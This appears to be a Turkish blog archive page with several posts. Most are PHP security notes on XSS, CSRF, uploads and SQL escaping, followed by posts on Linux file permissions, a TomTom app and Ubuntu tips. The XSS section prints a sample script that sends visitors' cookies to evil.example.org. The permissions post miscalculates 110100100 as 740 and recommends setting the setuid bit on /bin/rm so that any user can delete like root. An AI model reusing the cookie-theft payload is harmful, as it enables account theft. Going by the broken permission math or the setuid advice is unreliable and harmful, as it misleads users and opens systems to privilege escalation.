22 Ekim 2012 Pazartesi

Php Guvenlik - 2

php güvenlikWeb uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.

Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz

<?php

   $filename = $_FILES['attachment']['tmp_name'];

   if (is_uploaded_file($filename))

   {

      /* $_FILES['attachment']['tmp_name'] is an uploaded file. */

   }

?>  

Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.

<?php

   $old_filename = $_FILES['attachment']['tmp_name'];

   $new_filename = '/path/to/attachment.txt';

   if (move_uploaded_file($old_filename, $new_filename))

   {

      /* $old_filename is an uploaded file, and the move was successful. */

   }

?> Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.  

Cross Site Scripting (XSS)

Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım <script>

   document.location = 'http://evil.example.org/steal.php?cookies=' +

   document.cookie

</script>   Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir. Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir.   <?php

    $clean = array();

    $html = array();

    /* Filter Input ($name, $comment) */

    $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');

    $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');

    echo "<p>{$html['name']} writes:<br />";

    echo "<blockquote>{$html['comment']}</blockquote></p>";

?>  

CSRF Saldırıları (Cross-Site Request Forgeries)

Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url'yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url'yi inceleyelim. http://store.example.org/buy.php?item=pen&quantity=1 Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yaomanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir. Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir. HTML tagı img'nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url'ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir. <img src="http://store.example.org/buy.php?item=pencil&quantity=50" /> Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir: GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır. Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir.   <?php

   session_start();

   $token = md5(uniqid(rand(), TRUE));

   $_SESSION['token'] = $token;

   $_SESSION['token_time'] = time();

?>

<form action="buy.php" method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<p>

Item:

<select name="item">

<option name="pen">pen</option>

<option name="pencil">pencil</option>

</select><br />

Quantity: <input type="text" name="quantity" /><br />

<input type="submit" value="Buy" />

</p>

</form>   Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır.   <?php

   if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

   {

      /* Valid Token */

   }

?>   Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz.   <?php

    $token_age = time() - $_SESSION['token_time'];

    if ($token_age <= 300)

    {

        /* Less than five minutes has passed. */

    }

?> KAYNAK: Essential Php Security Kitabı- O' Rielly Devamı için : Php Guvenlik - 2

Php Guvenlik - 1

php güvenlikPhp ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.

Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.

ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');   Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir.   set_error_handler('my_error_handler');

Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.

function my_error_handler($number, $string, $file, $line, $context)

{

   $error = "= == == == ==\nPHP ERROR\n= == == == ==\n";

   $error .= "Number: [$number]\n";

   $error .= "String: [$string]\n";

   $error .= "File: [$file]\n";

   $error .= "Line: [$line]\n";

   $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

   error_log($error, 3, '/usr/local/apache/logs/error_log');

}

Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz

set_error_handler('my_warning_handler', E_WARNING);

Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter'in de uyguladığını görmekteyiz.

Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.

$search = (isset($_GET['search']) ? $_GET['search'] : '');

veya

$search = '';

if (isset($_GET['search']))

{

   $search = $_GET['search'];

}     Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır.   Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir.   Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır.   Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor.   $clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz.   Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız.     $html = array( );

$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";     Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir.   Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız.   $mysql = array( );

$mysql['username'] =

mysql_real_escape_string($clean['username']);

$sql = "SELECT *

FROM profile

WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);   KAYNAK: Essential PHP Security O'Rielly Devamı için : Php Guvenlik - 1

Fatal error: Attempt to unset static property hatasi

Php class'larında tanımlanan static özellikler, o classtan kaç kere kullanılacaksa kullanılsın, 1 tane bulunurlar. Yani 10 tane deneme sınıfı üretsek bile, public static $test ten sadece 1 tane olacak. Bu noktada, bu class load olurken, bu property ram'deki yerini ayırdığı için, unset etmek konusunda ise, problem yaşanmaktadır. Mantığa göre bu sınıfa ait bir static özellik herhangi bir yerde unset edilseydi eğer, farklı bir yerden kullanıldığında not set hatası verecekti. Yani olmasını teyid ettiği bir şeyi bulamayacaktı. Bu nedendendir ki aşağıdaki kod,
unset(self::$test);
Fatal error: Attempt to unset static property hatasını vermektedir. (ölümcül hata : static özelliği unset etmeye yönelik girişim). Bu hata aslında sizin bu işlemi yanlış yaptığınız yönündedir. Tavsiye : İlla böyle bir şeye ihtiyacınız var ise, değişkenin tipine göre boş string, Null veya false atayınız. Devamı için : Fatal error: Attempt to unset static property hatasi

21 Ekim 2012 Pazar

linux dosya ve dizin izinleri

Dizin ve dosyalara erişim haklarının belirlenmesi için izinler kullanılmaktadır. Linux sistemlerde bu izinler 3 farklı grup olarak verilmektedir. Bunlardan ilki, dosyanın sahibinin izinleri, ikincisi, dosyanın grubunun izinleri, üçüncüsü, diğer kullanıcıların izinleri. Dosyaların ve dizinlerin sahip oldukları izinleri görmek için, ll gibi bir komut kullanabiliriz. Herhangi bir dizindeyken, ilk sütunda çıkan değerleri inceleyelim.
-rw-rw-r-- 1 khantunckale khantunckale 792438 Oct 19 20:52 warning.jpg
drwxrwxr-x 2 khantunckale khantunckale 4096 Oct 18 15:14 pictures/
-rw------- 1 khantunckale khantunckale 641 Oct 18 01:59 algoritma1.java~
-rw-r--r-- 1 root root 1324 Oct 21 01:17 mysql.txt
-rw-rw-r-- 1 khantunckale khantunckale 0 Sep 30 21:42 mahmut.htm
İlk sütunları inceledikten sonra, 4 farklı kısımdan oluştuğunu söyleyebiliriz. İlk kısım, dosyanın tipini belirten kısımdır. Buna göre, dosyanın sadece bir dosya mı, yoksa dizin mi, veya link mi, ayırt edebiliriz. Normal dosyalarda, ilk kısımda, - işareti vardır. Dizinler için d harfi görünmektedir. Başka bir dosyayı işaret eden linkler (başka bir deyişle kısayol) için l harfi gösterilir. İkinci kısımda, dosyanın sahibinin hakları, üçüncü kısımda dosyanın grubunun hakları, üçüncü kısımda ise diğer kullanıcıların hakları vardır. Erişim hakları, Linux sistemlerde güvenliğin temelini oluşturur. Bu izinler her dosyaya ayrı ayrı verilebildiği için sistem yönetimi çok esnektir.
Dosya tipiSahibin yetkileriGrubun yetkileriDiğer kullanıcılar
drwxrwxrwx
-rwx------
Şimdi, bu izinlerin hangi anlamlara geldiğini inceleyelim. r --> Okuma izni (read access): Dosyanın okuma izni var demek, dosyanın içeriği görülebilir demek. Dizinin okuma izni olduğunda ise, içerdiği dosyaların listesi görülebilir. w --> Yazma izni (write access): Dosyanın yazma izni var demek, dosyanın içeriğini değiştirebilirsiniz yada dosyayı silebilirsiniz demek. Dizine yazma izni verildiğinde ise dizin altındaki dosyalar yazılabilir veya silinebilir. x --> Çalıştırma izni (execute access): Dosyayı çalıştırma hakkı verir. Dizinler için çalıştırma hakkı, o dizine geçip geçememek anlamına gelmektedir. Yukarıdaki gibi üçlüler birbiriyle aynı kalıptadır. Her üçlünün ilk pozisyonunda r harfi vardır, bu ilgili kullanıcının dosyayı okuma yetkisi olduğunu gösterir. Bu pozisyonda bir eksi işareti (-) varsa, kullanıcının okuma yetsiki olmadığını gösterir. Dosya izinlerine bir kaç örnek verelim;
rwxrwxrwx : Dosyayı herkes okuyabilir, herkes bu dosyaya kayıt yapabilir, dosyanın adını değiştirebilir, dosyayı silebilir. Eğer bu bir program dosyası ise, herkes çalıştırabilir.
rwxr-xr-x : Herkes okuyabilir ve program dosyası ise herkes çalıştırabilir. Ama sadece dosyanın sahibi bu dosyada değişiklik yapabilir.
rwx------ : Bu dosyada sadece sahibi tüm işlemleri yapabilir, dosya diğer kullanıcılara kapalıdır.
rw-r--r-- : Dosya program dosyası değil, çünkü kimsenin çalıştırma yetkisi yok. Sahibi okuyup yazabilir ancak diğer kullanıcılar sadece okuyabilir.
rwx--x--x : Sahibi tüm işlemleri yapar, diğer kullanıcılar sadece çalıştırabilirler.

Dosya izinleri nasıl değiştirilebilir?

Dosya ve dizin izinleri sadece sahipleri ve root kullanıcı tarafından tarafından değiştirilebilirler. Bunun için chmod komutu kullanılır . chmod komutu iki şekilde çalıştırılabilir, biri yeni iznin sayısal değerle verilmesi ile diğeri yapılacak değişikliğin sembolik olarak verilmesi ile. Örnek olarak, rw-r--r-- izinini inceleyelim. Verilen haklar için 1, verilmeyen haklar için 0 yazılarak, iznin 2 tabanındaki görüntüsünü elde edelim --> 110100100 Ardından bunu 10'luk tabana çevirelim --> 740 Dosyanın izinlerini, bunun gibi, yani kullanıcısına tüm hakları vermek ve diğer kullanıcıların hepsine sadece okuma iznini verme işlemini, şu şekilde gerçekleriz.
chmod 740 dosya_ismi
İzinleri ayarlarken chmod komutuna sembolik parametreler vermek de aşağıdaki şekilde yapılır. Kullanıcı gruplarının sembolleri : Dosya sahibi (user) : u , dosyanın grubu (group) : g, diğer kullanıcılar (others) : o İzinlerin sembollerinden yukarıda bahsetmiştik : Okuma (read) : r, yazma (write) : w, çalıştırma (execute) : x Dosyaya izinleri vermek için +, izinleri çıkartmak için - işareti kullanılır. Örneğin herkese okuma izini vermek için chmod +r dosya_ismi komutunu kullanabiliriz. Aynı şekilde dosyanın sahibine tüm hakları vermek için chmod u+rwx dosya_ismi komutunu kullanbiliriz.

Dosyanın sahibi nasıl değiştirilebilir?

Bir dosyanın sahibini sadece sistemdeki root kullanıcı değiştirilebilir. Dosya sahibinin değiştirilmesi için chown komutu kullanılır. O da şu şekildedir;
chown zubizaretta dosya_ismi
Bu komut ile dosyanın sahibi zubizaretta olmuştur. Kullanıcı grubunu değiştirmek için de chgrp komutu kullanılır. Örneğin chgrp www dosya_ismi ile, dosyanın kullanıcı grubunu www yapabiliriz. Ayrıca chown komutu, dosyanın kullanıcısını değiştirebildiği gibi kullanucu grubunu da değiştirebilir. O da şu şekilde olur;
chown zubizaretta.www dosya_ismi

t ve s bitleri nedir?

Linux sistemlerde yetkilerin 3 bit uzunluğunda 3 bölümden nasıl oluştuğunu yukarıda kabaca inceledik. Ama aslında izinler için 3 bit uzunluğunda bir bölüm daha vardır. Yani biz, chmod 644 kullandığımızda aslında chmod 0644 kullanmış oluruz. Şimdi biraz bunun hakkında konuşalım. Normalde, (t biti dizinlere yerleştirilmeden) dosyaların silinebilmesi için, dizinin tuttuğu dosyalar, silen kişi tarafından okunabilir olmalı. Herkesin dosya koyabileceği bir dizinimiz varsa, burada herkes herkesin dosyasını silebilir anlamına gelmektedir. t biti bu kuralı değiştirir. t biti kullandığımızda, yalnızca dosya sahibi dosyaları silebilir. t bitini chmod 1777 şeklinde yada chmod a+tw şeklinde kullanbiliriz. Örnek vermek gerekirse, iki kullanıcının olduğu bir sistemde t biti kullanmadığımızda, bir kullanıcı kendine ait olmayan dosyayı silebiliyorken, t biti kullandığımızda bu işlemi gerçekleştiremez. Böylece t bitinin işaretli olduğu bir dizinde herkes kendi oluşturduğu dosya ve dizinleri silebilir. s biti genellikle çalıştırılabilir dosyalara uygulanır. Linux sistemlerde çalıştırılabilir bir dosyanın iki adet kullanıcı id'si mevcut olur. Bunlardan biri uygulamanın dosya sahibi, diğeri de uygulamayı çalıştıracak olan kullanıcıdır. s biti kullanıldığı zaman, uygulama, oturum açmış kullanıcı hakları ile değil uygulama dosyasının sahibinin hakları ile çalışır. Örneğin rm komutunu ele alalım. Rm komutu ile root kullanıcı tüm dizinleri ve dosyaları silmekte yetkilidir. Ancak diğer kullanıcılar sadece kendi home dizinlerinde bu komutu kullanabilirler. Root kullanıcının ana dizinde oluşturduğu bir dizini, normal kullanıcı silmeye çalıştığı zaman Permission denied hatası alacaktır. Ancak, chmod u+s /bin/rm (veya chmod 4777 /bin/rm ) komutunu çalıştırdığımız zaman, normal kullanıcı da root kullanıcı gibi silme hakkına sahip olur.   Devamı için : linux dosya ve dizin izinleri

Android Navigasyon

Merhaba, Son zamanlarda navigasyon cihazlarının populer olduğunu hepimiz biliyoruz. Özellikle İstanbul gibi büyük ve trafiği karmaşık şehirlerde gideceğiniz adresi bulmakta güçlük çekmeniz muhtemel bir durum. En kısa yoldan veya paralı yollar, feribot gibi bir çok seçeneği seçerek istediğimiz şekilde sürüş gerçekleştirebiliyoruz.   Tabi işin ticari boyutu ortaya çıkınca navigasyon pazarından pay elde etmek üzere birçok firma navigasyon üretmeye başladı. Navigasyonla ilgilisi olmayan birçok özellikler ekleyerek müşterileri cezbetmeye çalışıyorlar. Ancak şuda bir gerçek ki her navigasyon cihazı aynı kaliteyi sunmuyor. Bir navigasyon cihazı alırken nelere dikkat etmeli?
  1. Kapı numarasına kadar girebileceğimiz ayrıntılı bir Türkiye haritası
  2. Yeniden hesaplama süresinin kısa sürede tepki vermesi
  3. Sesli yönlendirmesinin net ve anlaşılır olması
  4. GPS bağlantı hızının yüksek olması
  5. Kavşak veya yol ayrılmarında doğru bir biçimde yönlendirme yapabilmesi
  6. Harita güncellemesi
Benim aklıma gelenler bunlar. Bunlara dikkat etmenizi öneririm. Bu bağlamda öne çıkan en iyi navigasyon hem Türkiye hem de avrupa için "Tomtom". Ancak piyasadaki tüm navigasyon cihazlarını cebinde sallayacak olan bu navigasyon firması bu etkenden faydalanarak fiyatlarını biraz yüksek tutuyor. Fiyatları yüksek derken cihazları değil harita güncellemeleri payalı :) Bu adresten de görebileceğiniz gibi 1 yıllık harita güncellemesi 185 TL. Hakkını verdiğinide özellikle belirtmek isterim. Yine bir diğer büyük pazar olan akıllı telefonlarda navigasyon konusunda çözümler getiriyor. Bir navigasyon cihazı almak yerine TomTom'un android uygulamasını almanızı kesinlikle tavsiye ediyorum. 2 gündür kullanan birisi olarak harika sonuçlar verdiğini belirtmek istedim. Normal cihazından hiçbir farkı yok. Harika bir uygulama. https://play.google.com/store/apps/details?id=com.tomtom.turkey&feature=more_from_developer Yukarıda google play de ki sayfasının linkidir. Türkiye haritasının ücreti 45.57 $ Navigasyon cihazı almak isteyipte akıllı telefonu olanlar için şiddetle tavsiye ettiğim bu uygulamayı tanıtmak istedim. Detaylarını ve videosunu Google Play'de ki sayfadan da öğrenebilirsiniz.   Devamı için : Android Navigasyon

18 Ekim 2012 Perşembe

ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

Ubuntu 12.10 çıktı. Resmi internet sitesinden kolayca indirip deneyebilirsiniz. Yukarıdaki resim de, resmi internet sitesinden alınmıştır, Avoid the pain of Windows 8. :D 12.04 (Precise Pangolin) kullananlar için 12.10'a (Quantal Quetzal) nasıl upgrade edileceğini kısaca anlatmak istiyorum. İlk olarak Update Manager'ı açıyoruz. Sol alt kısımda yer alan Settings...'e tıklayarak, en altta yer alan Notify me of a new Ubuntu version seçeneğini For any new versiyon olarak düzenliyoruz. Oradan çıkış yaptıktan sonra, Update Manager penceresinin üst kısmında, 12.10'a upgrade etmeniz için bir tuş beliriyor. İyi kullanımlar. Devamı için : ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

17 Ekim 2012 Çarşamba

Ubuntu Masaüstüne Kısayol Oluşturmak

Merhaba, Ubuntu yeni sürümlerinde kullanılan Unity arayüzü ile masaüstüne kısayol oluşturmak biraz sancılı hale geldi. Yine bardağın dolu tarafından bakmak gerekirse klavye kullanımına yönlendirdiği için iyi bir iş yaptırmışta oluyor diyebiliriz. Yine de hiçbirşey imkansız değil. Kısayol oluşturma işlemi için Gnom'un bir paketine ihtiyaç duyuyoruz. Bu paket gnom-panel. Kurulumunu aşağıda belirtiyorum :
sudo apt-get install --no-install-recommends gnome-panel
Hemencecik kurduk. Masaüstüne yeni bir kısayol oluşturmak içinde yine aşağıda belirteceğim komutu yazmanız gerekecek :
gnome-desktop-item-edit ~/Desktop/ --create-new
Bu komutu çalıştırdığınızda bir pencere açılacak. Bu pencereye kısayolunuzun ismini, kısayol program ise program yolunu, klasör ise pathini dosya ise yine dosya tam pathini vermeniz gerekiyor. Title ve icon gibi şeyleride seçtikten sonra okey diyoruz ve masaüstüne kısayolumuz geliyor. İşlem bu kadardır. Umarım işinize yarar. Saygılar sevgiler.   Devamı için : Ubuntu Masaüstüne Kısayol Oluşturmak